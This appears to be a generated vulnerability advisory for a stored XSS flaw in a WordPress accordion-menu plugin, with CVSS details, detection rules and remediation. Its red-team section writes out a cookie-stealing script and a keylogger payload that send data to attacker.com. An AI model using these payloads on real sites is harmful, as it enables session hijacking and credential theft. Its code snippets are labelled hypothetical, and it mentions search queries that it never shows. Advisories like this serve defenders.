CVE-2025-49242
Executive Summary
CVE-2025-49242 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bellows Accordion Menu WordPress plugin, developed by Sevenspark. The flaw exists in versions up to and including 1.4.3, where user-supplied input is not properly neutralized during web page generation. This allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s accordion menu items. When an administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.
The vulnerability is classified under CWE-79 and carries a CVSS v3.1 base score of 6.5 (Medium). The attack vector is network-based, requires low privileges, and user interaction is required for exploitation. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Bellows Accordion Menu plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Since no patch is available, users must rely on manual mitigation or plugin removal. The plugin is not available on npm, PyPI, Go, or Ruby registries.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited content manipulation.
- Availability (A): Low (L) – Limited service disruption.
CVSS Score: 6.5 (Medium)
Threat Level: Moderate – Exploitation requires authenticated access but can lead to full site compromise if an admin is targeted.
Deep Dive & Mechanics
The vulnerability resides in the Bellows Accordion Menu plugin’s menu item rendering logic. The plugin fails to sanitize or escape user-supplied input when creating or editing accordion menu items. An attacker with contributor-level access can inject malicious JavaScript into fields such as the menu item title, description, or custom attributes. When the menu is rendered on the frontend, the injected script executes in the context of the victim’s browser.
Root Cause: The plugin uses echo or print statements to output user input without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and later executed.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Navigates to the Bellows Accordion Menu editor.
- Inserts a malicious payload (e.g.,
<script>alert('XSS')</script>) into a menu item field. - Saves the menu item.
- An administrator or other user visits a page displaying the accordion menu.
- The payload executes, performing actions like stealing cookies, redirecting to a phishing site, or modifying page content.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.4.3):
// In bellows-accordion-menu.php or similar
echo '<li class="bellows-menu-item">' . $menu_item->title . '</li>';
The $menu_item->title is output directly without escaping.
Patched Code (hypothetical):
echo '<li class="bellows-menu-item">' . esc_html( $menu_item->title ) . '</li>';
Using esc_html() neutralizes HTML tags, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Bellows Accordion Menu plugin version <= 1.4.3.
- Contributor-level account or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Appearance > Bellows Accordion Menu.
- Create a new menu item or edit an existing one.
- In the Title field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the menu item.
- As an administrator, visit any page that displays the accordion menu.
- The script executes, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
Blue Team
Detection & Prevention:
- Monitor for unusual menu item content containing
<script>tags or event handlers. - Restrict contributor-level access to trusted users only.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
- Regularly audit plugin code for unescaped output.
Lab Setup:
- Install a local WordPress instance (e.g., using XAMPP or Docker).
- Install Bellows Accordion Menu plugin version 1.4.3.
- Create a contributor user and an admin user.
- Perform the exploitation steps above to observe the XSS behavior.
- Apply the hypothetical patch by adding
esc_html()to the vulnerable output.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
Refererheaders pointing to WordPress admin pages.
- Outbound HTTP requests to attacker-controlled domains containing
- File IOCs:
- Modified entries in the
wp_postmetatable containing<script>tags. - Suspicious menu item titles in the
wp_termstable.
- Modified entries in the
- Log IOCs:
- WordPress debug logs showing unescaped output warnings.
- Web server access logs with
POSTrequests to/wp-admin/admin-ajax.phpcontaining XSS payloads.
Detection Engineering
YARA Rule
rule CVE_2025_49242_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bellows Accordion Menu plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49242"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/s
$menu_field = /bellows-menu-item/
condition:
$menu_field and $xss_payload
}
Sigma Rule
title: CVE-2025-49242 Stored XSS in Bellows Accordion Menu
id: 8a3f7c2e-1b4d-4e9f-8c6a-2d5e7f8a9b0c
status: experimental
description: Detects stored XSS payloads in WordPress Bellows Accordion Menu plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'bellows-accordion-menu'
condition: selection
falsepositives:
- Legitimate use of JavaScript in menu items (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49242 Stored XSS in Bellows Accordion Menu"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"bellows-accordion-menu"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/s"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict user roles – Only grant administrator access to trusted users.
- Apply a virtual patch using a WAF to block XSS payloads in menu item fields.
Long-Term Fix:
- The vendor must release a patched version that properly escapes all user input using
esc_html(),esc_attr(), orwp_kses_post(). - If no patch is forthcoming, consider replacing the plugin with an alternative accordion menu plugin that is actively maintained.
Workaround:
- Manually edit the plugin files to add escaping functions. For example, in
bellows-accordion-menu.php, replace:
with:echo $menu_item->title;echo esc_html( $menu_item->title );
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.